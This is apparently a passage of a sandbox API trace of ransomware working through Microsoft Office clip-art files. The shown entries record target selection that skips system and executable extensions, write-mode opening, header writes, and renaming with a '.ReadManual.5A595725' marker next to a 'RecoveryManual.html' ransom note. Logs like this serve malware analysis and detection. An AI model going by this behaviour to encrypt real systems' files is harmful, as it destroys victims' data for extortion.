cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0270.722] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01421_.WMF" | out: lpString1="NA01421_.WMF") returned="NA01421_.WMF" [0270.722] lstrcmpiW (lpString1="NA01421_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.722] StrStrIW (lpFirst="NA01421_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.722] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.722] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.722] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" [0270.722] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ReadManual.5A595725" [0270.722] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.ReadManual.5A595725") returned 87 [0270.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39139096137) returned 1 [0270.722] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf")) returned 0x20 [0270.722] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.723] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=176494) returned 1 [0270.723] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b16e, lpName=0x0) returned 0x184 [0270.723] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.724] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.724] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.728] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.728] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b16e) returned 0x1de0000 [0270.733] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0270.734] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39140280982) returned 1 [0270.734] CloseHandle (hObject=0x184) returned 1 [0270.734] SetSecurityInfo () returned 0x57 [0270.734] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.734] CloseHandle (hObject=0x194) returned 1 [0270.734] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0270.734] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01468_.WMF" | out: lpString1="NA01468_.WMF") returned="NA01468_.WMF" [0270.734] lstrcmpiW (lpString1="NA01468_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.734] StrStrIW (lpFirst="NA01468_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.735] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.735] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.735] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" [0270.735] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ReadManual.5A595725" [0270.735] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.ReadManual.5A595725") returned 87 [0270.735] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39140381728) returned 1 [0270.735] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf")) returned 0x20 [0270.736] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.736] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20098) returned 1 [0270.736] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e82, lpName=0x0) returned 0x184 [0270.736] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.737] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.737] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.739] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.739] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e82) returned 0x2f0000 [0270.740] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.740] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39140845488) returned 1 [0270.740] CloseHandle (hObject=0x184) returned 1 [0270.740] SetSecurityInfo () returned 0x57 [0270.740] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.740] CloseHandle (hObject=0x194) returned 1 [0270.740] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0270.740] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01470_.WMF" | out: lpString1="NA01470_.WMF") returned="NA01470_.WMF" [0270.740] lstrcmpiW (lpString1="NA01470_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.740] StrStrIW (lpFirst="NA01470_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.740] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.740] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.741] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.741] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" [0270.741] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ReadManual.5A595725" [0270.741] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF.ReadManual.5A595725") returned 87 [0270.741] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39140944239) returned 1 [0270.741] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf")) returned 0x20 [0270.741] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.741] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19162) returned 1 [0270.741] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ada, lpName=0x0) returned 0x184 [0270.741] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.742] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.742] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.744] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.744] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4ada) returned 0x2f0000 [0270.744] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.744] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39141327143) returned 1 [0270.745] CloseHandle (hObject=0x184) returned 1 [0270.745] SetSecurityInfo () returned 0x57 [0270.745] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.745] CloseHandle (hObject=0x194) returned 1 [0270.745] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x841c4800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x841c4800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x2028, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01472_.WMF", cAlternateFileName="")) returned 1 [0270.745] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01472_.WMF" | out: lpString1="NA01472_.WMF") returned="NA01472_.WMF" [0270.745] lstrcmpiW (lpString1="NA01472_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.745] StrStrIW (lpFirst="NA01472_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.745] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.745] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.745] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" [0270.745] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ReadManual.5A595725" [0270.745] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF.ReadManual.5A595725") returned 87 [0270.745] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39141426397) returned 1 [0270.746] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf")) returned 0x20 [0270.746] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.746] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8232) returned 1 [0270.746] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2028, lpName=0x0) returned 0x184 [0270.746] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.747] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.747] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.748] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.749] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2028) returned 0x2f0000 [0270.749] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.749] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39141768065) returned 1 [0270.749] CloseHandle (hObject=0x184) returned 1 [0270.749] SetSecurityInfo () returned 0x57 [0270.749] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.749] CloseHandle (hObject=0x194) returned 1 [0270.749] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82eb1b00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82eb1b00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01473_.WMF", cAlternateFileName="")) returned 1 [0270.749] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01473_.WMF" | out: lpString1="NA01473_.WMF") returned="NA01473_.WMF" [0270.749] lstrcmpiW (lpString1="NA01473_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.749] StrStrIW (lpFirst="NA01473_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.749] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.749] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.749] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.749] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.749] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.750] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.750] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" [0270.750] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ReadManual.5A595725" [0270.750] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF.ReadManual.5A595725") returned 87 [0270.750] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39141865854) returned 1 [0270.750] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf")) returned 0x20 [0270.751] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.751] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10414) returned 1 [0270.751] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28ae, lpName=0x0) returned 0x184 [0270.751] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.752] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.752] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.754] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.754] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28ae) returned 0x2f0000 [0270.754] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.754] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39142276734) returned 1 [0270.754] CloseHandle (hObject=0x184) returned 1 [0270.754] SetSecurityInfo () returned 0x57 [0270.754] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.754] CloseHandle (hObject=0x194) returned 1 [0270.754] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f5def00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f5def00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x349c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA01474_.WMF", cAlternateFileName="")) returned 1 [0270.754] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA01474_.WMF" | out: lpString1="NA01474_.WMF") returned="NA01474_.WMF" [0270.754] lstrcmpiW (lpString1="NA01474_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.754] StrStrIW (lpFirst="NA01474_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.754] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.754] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.755] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.755] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01474_.WMF" 